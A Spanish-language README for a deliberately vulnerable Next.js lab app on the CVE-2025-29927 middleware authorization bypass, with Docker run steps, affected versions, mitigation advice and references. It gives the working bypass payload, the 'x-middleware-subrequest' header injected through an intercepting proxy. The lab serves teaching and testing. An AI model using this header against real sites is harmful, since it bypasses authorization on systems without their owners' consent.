🕷️ Next.js CVE-2025-29927

🧑🏻‍💼 Descargo de responsabilidad

Este proyecto es una aplicación Next.js que ha sido configurada intencionalmente para ser vulnerable a una omisión de autorización en el middleware de Next.js (CVE-2025-29927). Se proporciona exclusivamente con fines legales, educativos y de investigación.

Al acceder, usar o distribuir este código, reconoces y aceptas que:

• Solo usarás este proyecto en entornos controlados (como laboratorios de pruebas locales o sistemas autorizados legalmente).
• No intentarás explotar esta vulnerabilidad en ningún sistema para el que no tengas permiso explícito y por escrito.
• Los mantenedores de este proyecto no aprueban ni fomentan ninguna actividad no autorizada o maliciosa, y renuncian expresamente a cualquier responsabilidad por el uso indebido de este código o información.

🛫 Cómo ejecutar

Instala Docker y luego ejecuta:

 docker build -t next-cve-2025-29927 . 

 docker run -p 3000:3000 next-cve-2025-29927

Abre http://localhost:3000 con tu navegador para ver el resultado.

👩🏫 Cómo explotar la aplicación vulnerable

Captura la petición usando un proxy de intercepción como ZAP o Burp, e inyecta la siguiente cabecera en la petición:

x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware

📑 Versiones afectadas

>= 13.0.0, < 13.5.9

>= 14.0.0, < 14.2.25

>= 15.0.0, < 15.2.3

>= 11.1.4, < 12.3.5

🛠️ Mitigación

Actualiza a las últimas versiones

13.5.9

14.2.25

15.2.3

12.3.5

o si no puedes actualizar, bloquea las peticiones que contengan la cabecera x-middleware-subrequest.

🙇🏻‍♂️ Más información

Para obtener más información sobre la vulnerabilidad, echa un vistazo a los siguientes recursos:

• Explorando CVE-2025-29927: Un análisis práctico de la omisión de autorización en el middleware de Next.js
• inzo_ y zhero, quienes divulgaron la vulnerabilidad
• Aviso de seguridad de Next.js en GitHub
• CVE-2025-29927